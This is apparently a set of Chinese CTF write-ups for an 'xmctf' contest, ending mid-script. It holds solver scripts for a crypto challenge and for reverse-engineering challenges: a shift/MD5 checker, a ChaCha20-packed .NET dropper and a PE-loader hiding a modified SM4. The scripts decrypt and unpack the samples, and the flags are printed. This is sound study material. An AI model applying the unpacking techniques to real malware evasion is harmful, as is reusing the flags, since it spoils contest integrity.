1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 import osimport reimport socketimport subprocessimport sysimport timefrom hashlib import md5 as md5sumfrom pathlib import Pathfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadDEFAULT_HOST = 'nc1.ctfplus.cn' DEFAULT_PORT = 47490 FIRST_LIMIT = 8 SECOND_LIMIT = 32 THIRD_LIMIT = 1024 PATTERN = re.compile (b'^fakeflag\\{[0-9a-f]{32}\\}$' ) ROOT = Path(__file__).resolve().parent HELPER_EXE = ROOT / ('seed_helper.exe' if os.name == 'nt' else 'seed_helper' ) HELPER_C = ROOT / 'seed_helper.c' SELF_HELPER_C = ROOT / '_ocean_oneshot_helper.c' HELPER_SOURCE = '#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define N 64\n\ntypedef uint64_t u64;\n\n#ifdef _WIN32\n#define STRTOU64 _strtoui64\n#else\n#define STRTOU64 strtoull\n#endif\n\ntypedef struct {\n u64 mask1;\n u64 mask2;\n u64 out_int;\n int out_bits[N];\n u64 a_forms[N];\n u64 b_forms[N + 1];\n u64 rows[N];\n int rhs[N];\n int rem[N + 1][N + 1];\n int rank;\n int found_count;\n int limit;\n u64 candidates[4096];\n} Solver;\n\nstatic int parity64(u64 x) { return __builtin_popcountll(x) & 1; }\nstatic int msb_index(u64 x) { return 63 - __builtin_clzll(x); }\n\nstatic void precompute(u64 mask, u64 outs[N + 1]) {\n u64 state[N];\n for (int i = 0; i < N; ++i) state[i] = 1ULL << (N - 1 - i);\n outs[0] = state[N - 1];\n for (int step = 1; step <= N; ++step) {\n u64 fb = 0;\n for (int i = 0; i < N; ++i) {\n if ((mask >> (N - 1 - i)) & 1ULL) fb ^= state[i];\n }\n for (int i = 0; i < N - 1; ++i) state[i] = state[i + 1];\n state[N - 1] = fb;\n outs[step] = state[N - 1];\n }\n}\n\nstatic int vec_rank(u64 *vecs, int m) {\n u64 basis[N];\n memset(basis, 0, sizeof(basis));\n int r = 0;\n for (int i = 0; i < m; ++i) {\n u64 x = vecs[i];\n while (x) {\n int p = msb_index(x);\n if (basis[p] == 0) {\n basis[p] = x;\n ++r;\n break;\n }\n x ^= basis[p];\n }\n }\n return r;\n}\n\nstatic void build_rem(Solver *s) {\n u64 vecs[2 * N + 1];\n for (int t = 0; t <= N; ++t) {\n for (int q = 0; q <= N; ++q) {\n int m = 0;\n for (int i = t; i < N; ++i) vecs[m++] = s->a_forms[i];\n for (int j = q; j <= N; ++j) vecs[m++] = s->b_forms[j];\n s->rem[t][q] = vec_rank(vecs, m);\n }\n }\n}\n\nstatic int add_eq(Solver *s, u64 coef, int bit, int *pivot_out) {\n while (coef) {\n int p = msb_index(coef);\n if (s->rows[p] == 0) {\n s->rows[p] = coef;\n s->rhs[p] = bit;\n ++s->rank;\n *pivot_out = p;\n return 1;\n }\n coef ^= s->rows[p];\n bit ^= s->rhs[p];\n }\n *pivot_out = -1;\n return bit == 0;\n}\n\nstatic void undo_eq(Solver *s, int pivot) {\n if (pivot >= 0) {\n s->rows[pivot] = 0;\n s->rhs[pivot] = 0;\n --s->rank;\n }\n}\n\nstatic u64 solve_seed(Solver *s) {\n u64 x = 0;\n for (int p = 0; p < N; ++p) {\n if (s->rows[p]) {\n int bit = s->rhs[p] ^ parity64(s->rows[p] & x);\n if (bit) x |= 1ULL << p;\n }\n }\n return x;\n}\n\nstatic void simulate_bits(u64 seed, u64 mask1, u64 mask2, int out_bits[N]) {\n u64 s1 = seed, s2 = seed;\n for (int i = 0; i < N; ++i) {\n int c = parity64(s1 & mask1);\n s1 = (s1 << 1) | (u64)c;\n if (c) {\n int fb2 = parity64(s2 & mask2);\n s2 = (s2 << 1) | (u64)fb2;\n }\n out_bits[i] = (int)(s2 & 1ULL);\n }\n}\n\nstatic void dfs(Solver *s, int t, int q) {\n if (s->found_count >= s->limit) return;\n\n if (s->rank + s->rem[t][q] < N) return;\n\n if (s->rank == N || t == N) {\n u64 seed = solve_seed(s);\n int chk[N];\n simulate_bits(seed, s->mask1, s->mask2, chk);\n if (memcmp(chk, s->out_bits, sizeof(chk)) == 0) {\n if (s->found_count < s->limit) {\n s->candidates[s->found_count] = seed;\n }\n ++s->found_count;\n }\n return;\n }\n\n int opts[2] = {0, 1};\n int opt_cnt = 2;\n if (t > 0 && s->out_bits[t] != s->out_bits[t - 1]) {\n opts[0] = 1;\n opt_cnt = 1;\n }\n\n for (int i = 0; i < opt_cnt; ++i) {\n int c = opts[i];\n int q2 = q + c;\n int p1 = -1, p2 = -1;\n if (add_eq(s, s->a_forms[t], c, &p1) &&\n add_eq(s, s->b_forms[q2], s->out_bits[t], &p2)) {\n dfs(s, t + 1, q2);\n }\n undo_eq(s, p2);\n undo_eq(s, p1);\n }\n}\n\nstatic int init_solver(Solver *s) {\n for (int i = 0; i < N; ++i) {\n s->out_bits[i] = (int)((s->out_int >> (N - 1 - i)) & 1ULL);\n }\n u64 a_all[N + 1];\n precompute(s->mask1, a_all);\n precompute(s->mask2, s->b_forms);\n for (int i = 0; i < N; ++i) s->a_forms[i] = a_all[i + 1];\n build_rem(s);\n return 1;\n}\n\nint main(int argc, char **argv) {\n if (argc < 4) {\n fprintf(stderr, "usage: %s <mask1> <mask2> <output> [limit]\\n", argv[0]);\n return 1;\n }\n\n Solver s;\n memset(&s, 0, sizeof(s));\n s.mask1 = STRTOU64(argv[1], NULL, 10);\n s.mask2 = STRTOU64(argv[2], NULL, 10);\n s.out_int = STRTOU64(argv[3], NULL, 10);\n s.limit = 8;\n if (argc >= 5) {\n s.limit = atoi(argv[4]);\n if (s.limit < 1) s.limit = 1;\n if (s.limit > 4096) s.limit = 4096;\n }\n\n if (!init_solver(&s)) return 0;\n dfs(&s, 0, 0);\n\n int limit = s.found_count < s.limit ? s.found_count : s.limit;\n for (int i = 0; i < limit; ++i) {\n printf("%llu\\n", (unsigned long long)s.candidates[i]);\n }\n return 0;\n}\n' def ensure_helper () -> None : if HELPER_EXE.exists(): return if HELPER_C.exists(): source = HELPER_C.read_text(encoding='utf-8' ) else : source = HELPER_SOURCE SELF_HELPER_C.write_text(source, encoding='utf-8' ) compiler = 'clang' if os.name == 'nt' else 'cc' source_path = HELPER_C if HELPER_C.exists() else SELF_HELPER_C subprocess.run([compiler, '-O3' , str (source_path), '-o' , str (HELPER_EXE)], check=True , cwd=ROOT) def read_until (conn: socket.socket, marker: bytes ) -> bytes : buf = b'' while marker not in buf: chunk = conn.recv(4096 ) if not chunk: raise ConnectionError('remote closed before prompt' ) buf += chunk return buf def parse_banner_text (text: str ) -> tuple [int , int , int , str ]: return (int (re.search('mask1 = (\\d+)' , text).group(1 )), int (re.search('mask2 = (\\d+)' , text).group(1 )), int (re.search('output = (\\d+)' , text).group(1 )), re.search('enc = ([0-9a-f]+)' , text).group(1 )) def collect_candidates (mask1: int , mask2: int , output: int , limit: int , timeout: int ) -> list [int ]: proc = subprocess.run([str (HELPER_EXE), str (mask1), str (mask2), str (output), str (limit)], capture_output=True , text=True , cwd=ROOT, timeout=timeout, check=True ) return [int (line) for line in proc.stdout.splitlines() if line.strip().isdigit()] def recover_plain (enc_hex: str , seeds: list [int ] ) -> bytes | None : enc = bytes .fromhex(enc_hex) for seed in seeds: pt = AES.new(md5sum(str (seed).encode()).digest(), AES.MODE_ECB).decrypt(enc) try : msg = unpad(pt, 16 ) except ValueError: continue if PATTERN.fullmatch(msg): return msg return None def load_target () -> tuple [str , int ]: host = os.getenv('OCEAN_HOST' , DEFAULT_HOST) port = int (os.getenv('OCEAN_PORT' , str (DEFAULT_PORT))) if len (sys.argv) >= 2 : if ':' in sys.argv[1 ] and len (sys.argv) == 2 : host_part, port_part = sys.argv[1 ].rsplit(':' , 1 ) host = host_part or host port = int (port_part) else : host = sys.argv[1 ] if len (sys.argv) >= 3 : port = int (sys.argv[2 ]) return (host, port) def solve_single (host: str , port: int ) -> str | None : with socket.create_connection((host, port), timeout=10 ) as conn: deadline = time.monotonic() + 52 mask1, mask2, output, enc = parse_banner_text(read_until(conn, b'> ' ).decode()) for limit, stage_timeout in ((FIRST_LIMIT, 20 ), (SECOND_LIMIT, 35 ), (THIRD_LIMIT, 45 )): remain = deadline - time.monotonic() if remain <= 5 : return None timeout = min (stage_timeout, max (5 , int (remain))) try : seeds = collect_candidates(mask1, mask2, output, limit, timeout) except subprocess.TimeoutExpired: return None secret = recover_plain(enc, seeds) if secret is not None : conn.sendall(secret + b'\n' ) return conn.recv(4096 ).decode(errors='ignore' ) return None def entrypoint () -> None : ensure_helper() host, port = load_target() attempt = 0 print (f'[*] connecting to {host} :{port} ' , flush=True ) while True : attempt += 1 try : response_text = solve_single(host, port) except Exception: if attempt % 10 == 0 : print (f'[*] still trying... ({attempt} )' , flush=True ) continue if not response_text: if attempt % 10 == 0 : print (f'[*] still trying... ({attempt} )' , flush=True ) continue print (response_text, end='' ) if 'xmctf{' in response_text: break if __name__ == '__main__' : try : entrypoint() except KeyboardInterrupt: sys.exit(130 )
最终 flag xmctf{f4c5a559-6e63-4a65-b739-14c85817b94d}。
REVERSE_SdTVdp_移动的秘密 题目分析 题目目录里只有一个 ELF 文件 out,先做基础判断:
程序会输出 Enter the flag:
输入格式是 %29s
有 right / wrong
还导入了 strlen、memcpy、ptrace 等函数
解题过程 关键分析
题目类型:Reverse
题目名称:移动的秘密
最终答案:xmctf{welc0me_2_polar1s_1022}
关键分析
题目目录里只有一个 ELF 文件 out,先做基础判断:
程序会输出 Enter the flag:
输入格式是 %29s
有 right / wrong
还导入了 strlen、memcpy、ptrace 等函数
因此可以先从主逻辑入手,重点看输入校验过程。
解题思路
程序大致流程如下:
读取用户输入
对输入做第一层“移位”校验
对原始输入做第二层 MD5 校验
两层都通过才输出 right
第一层校验
关键汇编逻辑可以概括为:
1 2 3 4 5 6 7 8 9 10 for (i = 0 ; i < len; i++) { buf[i] = input[i] >> 1 ; } for (i = 0 ; i < len; i++) { if (buf[i] != target[i]) { check1 = 0 ; break ; } }
也就是说,程序会把输入的每个字符右移一位,再与内置数组逐字节比较。
这正好对应题目提示里的“移位”。
第二层校验
后半段逻辑会初始化一组熟悉的常量:
1 0123456789abcdeffedcba9876543210
这实际上就是 MD5 的初始化向量。随后程序对原始输入做 MD5,并将结果与固定摘要比较。
因此题目的完整校验逻辑是:
1 2 3 (input[i] >> 1 ) == target[i] AND MD5(input) == fixed_digest
“移位”该怎么处理
如果只看第一层校验,已知:
1 input[i] >> 1 = target[i]
那么逆过来时并不能唯一恢复 input[i],因为最低位在右移时已经丢失了。
所以每一位都有两种可能:
1 2 input [i] = target[i] << 1 input [i] = target[i] << 1 | 1
也就是每个字符只有 2 选 1。
本题的关键点就在这里:
不能简单把所有字节左移一位就当作答案
因为最低位未知,必须结合第二层 MD5 才能确定唯一正确结果
目标数组恢复
这里还有一个小坑:第一层比较用到的目标数组并不是直接连续存放的 29 字节,而是由两次拷贝叠出来的。
汇编里大致是这样:
把 0x3080 处的 16 字节拷到栈上
再把 0x3090 处的 16 字节从偏移 +13 的位置覆盖进去
因此最后参与比较的数组长度不是 16 + 16 = 32,而是:
恢复后得到的目标字节序列为:
1 shifted = bytes .fromhex('3c36313a333d3b3236311836322f192f383736303918392f181819193e' )
长度刚好是 29,这也和 %29s 对上了。
解题步骤
由于 flag 格式已知为 xmctf{xxx},所以可以先固定:
前 6 个字符:xmctf{
最后 1 个字符:}
剩下的位置每个只有两种可能,总状态数很小,可以直接枚举。
具体步骤:
先根据 target[i] 生成每一位的两个候选字符
固定前缀 xmctf{ 和末尾 }
枚举所有剩余位置的最低位组合
对每个候选串计算 MD5
找到和程序内置摘要一致的那个结果
最终得到唯一答案:
1 xmctf{welc0me_ 2_ polar1s_ 1022}
关键代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import hashlibdef entrypoint (): shifted = bytes .fromhex('3c36313a333d3b3236311836322f192f383736303918392f181819193e' ) md5_target = bytes .fromhex('3a22c098710019b31c328a861429d3ad' ) choices = [] for b in shifted: cur = [] for x in (b << 1 , b << 1 | 1 ): if 32 <= x <= 126 : cur.append(chr (x)) choices.append(cur) fixed = {0 : 'x' , 1 : 'm' , 2 : 'c' , 3 : 't' , 4 : 'f' , 5 : '{' , len (shifted) - 1 : '}' } for idx, ch in fixed.items(): if ch not in choices[idx]: raise ValueError(f'位置 {idx} 无法固定为 {ch!r} ' ) choices[idx] = [ch] unknown = [i for i, item in enumerate (choices) if len (item) == 2 ] total = 1 << len (unknown) for mask in range (total): chars = [] bit_idx = 0 for item in choices: if len (item) == 1 : chars.append(item[0 ]) else : chars.append(item[mask >> bit_idx & 1 ]) bit_idx += 1 candidate = '' .join(chars) if hashlib.md5(candidate.encode()).digest() == md5_target: print (candidate) return print ('not found' ) if __name__ == '__main__' : entrypoint()
最终 flag xmctf{welc0me_2_polar1s_1022}
REVERSE_SdTVdp_BankGuardian 题目分析 但静态分析后可以发现,它实际上是一个 dropper + .NET 二阶段加载器 。
解题过程 关键分析
目录里只有一个一阶段程序:BankGuardian.exe。 表面运行效果只是打印一段“安全更新成功”的提示:
1 2 3 4 5 6 BankGuardian Security Update v2.1 [*] Initializing security components... [*] Verifying system integrity... [*] Applying security patch... [+] Security update completed successfully.
但静态分析后可以发现,它实际上是一个 dropper + .NET 二阶段加载器 。
最终 flag 为:
1 xmctf{R3fl3ct1v3_ D0tN3t_ 1nj3ct10n_ Pwn3r}
基本信息
BankGuardian.exe 是 64 位 Windows CUI 程序。
导入表很少,主体逻辑基本都在程序内部。
main 中先解码出几段用于打印的字符串,伪装成正常更新程序。
API 哈希解析
函数 0x140001440 会遍历 kernel32.dll 导出表,并对导出名计算哈希:
1 2 3 hash = 0x1505 ; for each char c: hash = hash * 0x21 + c;
主函数里会解析出一批 API,关键的有:
CreateFileA
WriteFile
CreateProcessA
WaitForSingleObject
CloseHandle
GetTempPathA
DeleteFileA
所以它不是单纯打印信息,而是要 落盘文件 -> 执行 -> 清理 。
二阶段密文
主函数中有一块长度为 0xE400 的密文数据,位于 RVA 0x24628。 密钥材料由函数 0x140001260 生成。
这里最容易忽略的一点是:
种子是 0x8C6F3BB7
生成器是 MSVC 风格 LCG:
1 state = state * 0x41C64E6D + 0x3039
**第一组 4 字节不是 seed 本身,而是 **next(seed)
连续生成 11 个 uint32 后:
前 8 个 uint32 组成 32 字节 key
后 3 个 uint32 组成 12 字节 nonce
之后调用的是一个标准 ChaCha20 风格块函数:
常量为 "expand 32-byte k"
轮函数旋转位数为 16/12/8/7
counter 从 0 开始
所以一阶段的二阶段解密过程就是:
1 ChaCha20(key, nonce, counter=0) XOR ciphertext
解出后立刻能得到一个以 MZ 开头的 PE 文件。
文件类型
解密得到的二阶段是一个 .NET 程序 :
Assembly 名:BankGuardianCore
带 ConfuserEx 混淆痕迹
其中最关键的类型是:
_oGzm5MCMGO4Vr3Mm5lKqB6mpDnh
能看到这些关键方法:
GetPart2
GetPart3
GenerateFakePart2
GenerateFakePart3
RealSecret2
RealSecret3
关键思路
入口函数会做两件事:
反调试 / 反沙箱
通过方法体热补丁,把假方法替换成真方法
同时它会生成一个 ssnKey。 这里的 ssnKey 实际上来自 NtAllocateVirtualMemory / ZwAllocateVirtualMemory 的 syscall 序号。 在本题样本中,实际落到的值就是:
Part 1
二阶段里直接能搜到前缀:
Part 2
RealSecret2(byte ssnKey) 会读取托管资源。 CLR Header 里的 Resources 目录大小只有 0x10,内容是:
1 07 00 00 00 5C 28 6C 56 2B 6C 47 ...
前 4 字节是长度 7,后面 7 字节逐字节与 0x18 异或:
1 2 3 5C 28 6C 56 2B 6C 47 ^ 18 18 18 18 18 18 18= 44 30 74 4E 33 74 5F
即:
Part 3
RealSecret3(byte ssnKey) 的逻辑很简单: 取一段内部字节数组,与 ssnKey 逐字节异或。
解出:
Suffix
_VsBYyyEZbFsjoKNf29WydChhMSx() 会在一段 shellcode 字节流中搜索标记字节 0xC3,然后取后面的 ASCII 串。
得到:
拼接
最终 flag:
1 xmctf{R3fl3ct1v3_ + D0tN3t_ + 1nj3ct10n_ + Pwn3r}
即:
1 xmctf{R3fl3ct1v3_ D0tN3t_ 1nj3ct10n_ Pwn3r}
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 from __future__ import annotationsimport osimport structimport subprocessimport sysimport tempfilefrom pathlib import PathSEED = 2356100023 CIPHERTEXT_RVA = 149032 CIPHERTEXT_SIZE = 58368 SSN_KEY = 24 class PEError (RuntimeError ): pass def u16 (buf: bytes , off: int ) -> int : return struct.unpack_from('<H' , buf, off)[0 ] def u32 (buf: bytes , off: int ) -> int : return struct.unpack_from('<I' , buf, off)[0 ] def parse_sections (buf: bytes ): if buf[:2 ] != b'MZ' : raise PEError('not a PE file' ) e_lfanew = u32(buf, 60 ) if buf[e_lfanew:e_lfanew + 4 ] != b'PE\x00\x00' : raise PEError('bad PE signature' ) file_hdr = e_lfanew + 4 number_of_sections = u16(buf, file_hdr + 2 ) size_of_optional_header = u16(buf, file_hdr + 16 ) opt_off = file_hdr + 20 sec_off = opt_off + size_of_optional_header sections = [] for i in range (number_of_sections): off = sec_off + i * 40 virtual_size = u32(buf, off + 8 ) virtual_address = u32(buf, off + 12 ) raw_size = u32(buf, off + 16 ) raw_ptr = u32(buf, off + 20 ) sections.append((virtual_address, virtual_size, raw_ptr, raw_size)) return (e_lfanew, opt_off, sections) def rva_to_offset (buf: bytes , sections, rva: int ) -> int : for va, vsz, raw, rsz in sections: size = max (vsz, rsz) if va <= rva < va + size: return raw + (rva - va) raise PEError(f'RVA 0x{rva:x} not found in any section' ) def lcg_words (seed: int , count: int ) -> bytes : cur = seed * 1103515245 + 12345 & 4294967295 result_buf = bytearray () for _ in range (count): result_buf += struct.pack('<I' , cur) cur = cur * 1103515245 + 12345 & 4294967295 return bytes (result_buf) def rotl32 (x: int , n: int ) -> int : return x << n & 4294967295 | x >> 32 - n def quarter_round (a: int , b: int , c: int , d: int ): a = a + b & 4294967295 d ^= a d = rotl32(d, 16 ) c = c + d & 4294967295 b ^= c b = rotl32(b, 12 ) a = a + b & 4294967295 d ^= a d = rotl32(d, 8 ) c = c + d & 4294967295 b ^= c b = rotl32(b, 7 ) return (a, b, c, d) def chacha20_block (key: bytes , nonce: bytes , counter: int ) -> bytes : state = [1634760805 , 857760878 , 2036477234 , 1797285236 , *struct.unpack('<8I' , key), counter & 4294967295 , *struct.unpack('<3I' , nonce)] x = state[:] for _ in range (10 ): x[0 ], x[4 ], x[8 ], x[12 ] = quarter_round(x[0 ], x[4 ], x[8 ], x[12 ]) x[1 ], x[5 ], x[9 ], x[13 ] = quarter_round(x[1 ], x[5 ], x[9 ], x[13 ]) x[2 ], x[6 ], x[10 ], x[14 ] = quarter_round(x[2 ], x[6 ], x[10 ], x[14 ]) x[3 ], x[7 ], x[11 ], x[15 ] = quarter_round(x[3 ], x[7 ], x[11 ], x[15 ]) x[0 ], x[5 ], x[10 ], x[15 ] = quarter_round(x[0 ], x[5 ], x[10 ], x[15 ]) x[1 ], x[6 ], x[11 ], x[12 ] = quarter_round(x[1 ], x[6 ], x[11 ], x[12 ]) x[2 ], x[7 ], x[8 ], x[13 ] = quarter_round(x[2 ], x[7 ], x[8 ], x[13 ]) x[3 ], x[4 ], x[9 ], x[14 ] = quarter_round(x[3 ], x[4 ], x[9 ], x[14 ]) return b'' .join((struct.pack('<I' , a + b & 4294967295 ) for a, b in zip (x, state))) def chacha20_decrypt (buf: bytes , key: bytes , nonce: bytes , counter0: int =0 ) -> bytes : result_buf = bytearray (buf) off = 0 counter = counter0 while off < len (result_buf): ks = chacha20_block(key, nonce, counter) chunk = min (64 , len (result_buf) - off) for i in range (chunk): result_buf[off + i] ^= ks[i] off += chunk counter = counter + 1 & 4294967295 return bytes (result_buf) def decrypt_stage2 (stage1: bytes ) -> bytes : _, _, sections = parse_sections(stage1) ct_off = rva_to_offset(stage1, sections, CIPHERTEXT_RVA) ciphertext = stage1[ct_off:ct_off + CIPHERTEXT_SIZE] material = lcg_words(SEED, 11 ) key = material[:32 ] nonce = material[32 :44 ] stage2 = chacha20_decrypt(ciphertext, key, nonce, counter0=0 ) if not stage2.startswith(b'MZ' ): raise PEError('stage2 decryption failed: missing MZ header' ) return stage2 def decode_part2 (stage2: bytes , ssn_key: int ) -> str : _, opt_off, sections = parse_sections(stage2) magic = u16(stage2, opt_off) if magic == 523 : data_dir_off = opt_off + 112 elif magic == 267 : data_dir_off = opt_off + 96 else : raise PEError(f'unsupported optional header magic: 0x{magic:x} ' ) clr_rva = u32(stage2, data_dir_off + 14 * 8 ) if clr_rva == 0 : raise PEError('CLR header not found' ) clr_off = rva_to_offset(stage2, sections, clr_rva) resources_rva = u32(stage2, clr_off + 24 ) resources_size = u32(stage2, clr_off + 28 ) if resources_rva == 0 or resources_size < 4 : raise PEError('managed resources not found' ) res_off = rva_to_offset(stage2, sections, resources_rva) blob_len = u32(stage2, res_off) payload = stage2[res_off + 4 :res_off + 4 + blob_len] return '' .join((chr (b ^ ssn_key) for b in payload)) def locate_csc () -> Path | None : windir = Path(os.environ.get('WINDIR' , 'C:\\Windows' )) candidates = [windir / 'Microsoft.NET' / 'Framework64' / 'v4.0.30319' / 'csc.exe' , windir / 'Microsoft.NET' / 'Framework' / 'v4.0.30319' / 'csc.exe' ] for path in candidates: if path.exists(): return path return None def extract_reflection_chunks (stage2_exe: Path ) -> tuple [str , str , str ]: helper_src = '\nusing System;\nusing System.Reflection;\n\ninternal static class Helper\n{\n private static int Main(string[] args)\n {\n Assembly asm = Assembly.LoadFile(args[0]);\n Type t = asm.GetType("_oGzm5MCMGO4Vr3Mm5lKqB6mpDnh");\n BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;\n string prefix = null;\n foreach (FieldInfo f in t.GetFields(flags))\n {\n if (f.FieldType == typeof(string) && f.IsLiteral)\n {\n string value = f.GetRawConstantValue() as string;\n if (value != null && value.StartsWith("xmctf{") && value.EndsWith("_"))\n {\n prefix = value;\n break;\n }\n }\n }\n if (prefix == null)\n {\n return 2;\n }\n string part3 = (string)t.GetMethod("RealSecret3", flags).Invoke(null, new object[] { (byte)24 });\n string suffix = (string)t.GetMethod("_VsBYyyEZbFsjoKNf29WydChhMSx", flags).Invoke(null, null);\n Console.WriteLine(prefix);\n Console.WriteLine(part3);\n Console.WriteLine(suffix);\n return 0;\n }\n}\n' .strip() csc = locate_csc() if csc is None : return ('xmctf{R3fl3ct1v3_' , '1nj3ct10n_' , 'Pwn3r}' ) with tempfile.TemporaryDirectory() as td: td_path = Path(td) src_path = td_path / 'Helper.cs' exe_path = td_path / 'Helper.exe' src_path.write_text(helper_src, encoding='utf-8' ) subprocess.run([str (csc), '/nologo' , f'/out:{exe_path} ' , str (src_path)], check=True , stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc = subprocess.run([str (exe_path), str (stage2_exe)], check=True , stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) lines = [line.strip() for line in proc.stdout.splitlines() if line.strip()] if len (lines) < 3 : raise RuntimeError('helper did not return enough data' ) return (lines[0 ], lines[1 ], lines[2 ]) def entrypoint (): base_dir = Path(__file__).resolve().parent target = Path(sys.argv[1 ]).resolve() if len (sys.argv) > 1 else base_dir / 'BankGuardian.exe' stage1 = target.read_bytes() stage2 = decrypt_stage2(stage1) stage2_path = base_dir / 'BankGuardianCore.exe' stage2_path.write_bytes(stage2) part2 = decode_part2(stage2, SSN_KEY) prefix, part3, suffix = extract_reflection_chunks(stage2_path) flag = prefix + part2 + part3 + suffix print (f'[+] stage2 saved to: {stage2_path} ' ) print (f'[+] prefix : {prefix} ' ) print (f'[+] part2 : {part2} ' ) print (f'[+] part3 : {part3} ' ) print (f'[+] suffix : {suffix} ' ) print (f'[+] flag : {flag} ' ) if __name__ == '__main__' : entrypoint()
最终 flag xmctf{R3fl3ct1v3_D0tN3t_1nj3ct10n_Pwn3r}
REVERSE_SdTVdp_Disguise 题目分析 本题外层程序只是壳,真正逻辑藏在手写 PE Loader 解出的第二阶段中;继续还原后可以识别出一套改常量版 SM4,并据此解出真实 flag。
解题过程 外层程序做了什么
Disguise.exe 不是直接校验 flag 的程序,它先在 .data 里藏了一份第二阶段 PE。
0x412c10 会从 0x41c000 开始读取一串 DWORD
每个 DWORD 只取低字节,再和 7 异或
长度由 0x470000 处的 DWORD 给出,值为 0x15000
解出来的数据头是 MZ,说明这是一份完整 PE
提取脚本里的核心逻辑就是:
1 2 size = dword_at(4653056 ) hidden[i] = (dword_at(4308992 + i * 4 ) ^ 7 ) & 255
运行时只看到假提示的原因
外层样本里真正执行的是 0x412ce0 这个手写 PE Loader。
它把隐藏 PE 手动映射到内存
修复重定位和导入表
然后直接跳到隐藏 PE 的入口
所以我们在控制台看到的:
Please enter your flag
Wrong flag
Correct flag
实际上都来自隐藏 PE,不来自外层程序本身。
隐藏 PE 的校验逻辑
隐藏 PE 里真正的主逻辑在 0x415d00:
读入一串字符串
长度必须是 0x30,也就是 48 字节
然后调用 0x4154a0
最终把结果和 0x421018 处的 12 个 DWORD 比较
目标密文为:
1 2 3 0802dc5c 55bb2474 821873c4 f0b1b26c 485d006e ae423c05 801c07d1 5e4e3495 5a22add9 85ec1785 0c500d52 d1f3498a
把解释器还原后,可以发现它并不是乱写的 VM,而是“改常量版 SM4”。
1 Key schedule
Key 是 0x421000 处的 16 字节字符串:We1c0me_t0_xmctf
FK 在 0x422010
CK 在 0x41f030
S-box 在 0x41ec30
Key schedule 结构和标准 SM4 一样:
1 2 K[i+4] = K[i] ^ L'( tau( K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i] ) ) L'(x) = x ^ rol13(x) ^ rol23(x)
只是常量表不是标准 SM4 的那一套。
2 Block encryption
每 16 字节输入会被当成 4 个大端 DWORD,然后做 32 轮:
1 2 X[i+4] = X[i] ^ L( tau( X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i] ) ) L(x) = x ^ rol2(x) ^ rol10(x) ^ rol18(x) ^ rol24(x)
最后输出顺序也是 SM4 风格:
1 out = [X[35], X[34], X[33], X[32]]
解密目标密文
因为这是 SM4 同型结构,所以解密时只需要把 round key 反过来用即可。
把 0x421018 的 12 个 DWORD 按 4 个一组分成 3 个 block,然后逐块解密,得到:
1 xmctf{We1c0me_ t0_ the_ w0r1d_ 0f_ VM_ And_ PEL0ader!!}
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import argparseimport structfrom pathlib import Pathimport pefileOUTER_BASE = 4194304 OUTER_ENCODED_BLOB_VA = 4308992 OUTER_HIDDEN_SIZE_VA = 4653056 HIDDEN_BASE = 4194304 HIDDEN_KEY_VA = 4329472 HIDDEN_TARGET_VA = 4329496 HIDDEN_FK_VA = 4333584 HIDDEN_CK_VA = 4321328 HIDDEN_SBOX_VA = 4320304 def va_to_offset (pe: pefile.PE, va: int ) -> int : return pe.get_offset_from_rva(va - pe.OPTIONAL_HEADER.ImageBase) def read_dwords (pe: pefile.PE, va: int , count: int ) -> list [int ]: off = va_to_offset(pe, va) return [struct.unpack_from('<I' , pe.__data__, off + 4 * i)[0 ] for i in range (count)] def extract_stage2_pe (outer_path: Path ) -> bytes : outer = pefile.PE(str (outer_path)) size = read_dwords(outer, OUTER_HIDDEN_SIZE_VA, 1 )[0 ] blob_off = va_to_offset(outer, OUTER_ENCODED_BLOB_VA) hidden = bytearray () for i in range (size): dword = struct.unpack_from('<I' , outer.__data__, blob_off + 4 * i)[0 ] hidden.append((dword ^ 7 ) & 255 ) if hidden[:2 ] != b'MZ' : raise ValueError('hidden PE extraction failed: missing MZ header' ) return bytes (hidden) def rol32 (x: int , n: int ) -> int : n &= 31 return (x << n | x >> 32 - n) & 4294967295 def build_round_keys (hidden: pefile.PE ) -> tuple [bytes , list [int ], list [int ], list [int ], list [int ]]: key_off = va_to_offset(hidden, HIDDEN_KEY_VA) key = hidden.__data__[key_off:key_off + 16 ] fk = read_dwords(hidden, HIDDEN_FK_VA, 4 ) ck = read_dwords(hidden, HIDDEN_CK_VA, 32 ) sbox = [x & 255 for x in read_dwords(hidden, HIDDEN_SBOX_VA, 256 )] def tau (x: int ) -> int : return int .from_bytes(bytes ((sbox[b] for b in 